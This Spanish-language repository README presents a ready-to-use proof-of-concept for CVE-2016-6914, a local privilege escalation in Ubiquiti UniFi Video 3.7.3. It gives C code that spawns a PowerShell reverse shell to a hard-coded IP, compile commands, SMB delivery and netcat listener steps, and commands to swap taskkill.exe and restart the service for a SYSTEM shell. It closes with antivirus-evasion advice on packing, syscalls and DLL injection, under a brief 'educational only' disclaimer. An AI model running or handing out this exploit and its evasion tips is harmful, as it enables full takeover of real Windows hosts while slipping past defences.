
CVE-2016-6914-UniFiVideo-LPE
Este repositorio contiene una prueba de concepto (PoC) para CVE-2016-6914, una vulnerabilidad de Escalada de Privilegios Local (LPE) que afecta a Ubiquiti UniFi Video 3.7.3.
Un atacante con privilegios bajos puede reemplazar un binario de confianza (taskkill.exe) dentro de C:\ProgramData\unifi-video\ para ejecutar código malicioso con privilegios SYSTEM.
1️⃣ Reemplazar taskkill.exe con una carga maliciosa (exploit.exe).
2️⃣ Esperar a que se ejecute el Servicio UniFi Video o reiniciarlo manualmente.
3️⃣ La carga maliciosa se ejecuta, otorgando una shell con SYSTEM.
Esta carga reemplaza taskkill.exe y lanza una reverse shell.
#include <windows.h>
int main() {
system("powershell -NoP -W Hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\"");
return 0;
}
✅ Compilar usando MinGW:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
🛠️ Instrucciones de Uso
1️⃣ Configurar Recurso Compartido SMB (para Entrega Remota de Archivos)
En Kali, ejecutar:
impacket-smbserver share . -smb2support
2️⃣ Iniciar Netcat Listener
nc -lvnp 4444
3️⃣ Entregar Carga en la Máquina Objetivo
Ejecutar los siguientes comandos de PowerShell en el sistema objetivo:
copy \\10.10.14.5\share\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe
stop-service UnifiVideoService -Force
start-service UnifiVideoService
4️⃣ Obtener Shell con SYSTEM
¡Una vez ejecutado, se abre una shell con SYSTEM en tu listener!
🛡️ Evasión de Antivirus (AV)
Para eludir la detección básica de AV, prueba: ✔️ Empaquetar Ejecutable (UPX):
upx --best --lzma exploit.exe
✔️ Usar Syscalls Alternativas en lugar de system().
✔️ Incrustar en Procesos Legítimos mediante Inyección DLL.
⚠️ Descargo de Responsabilidad
📢 ¡Esta PoC es solo con fines educativos!
🛑 El uso no autorizado es ilegal y punible.
👨💻 Úsala solo de manera legal y ética.
Referencia:https://www.exploit-db.com/exploits/43390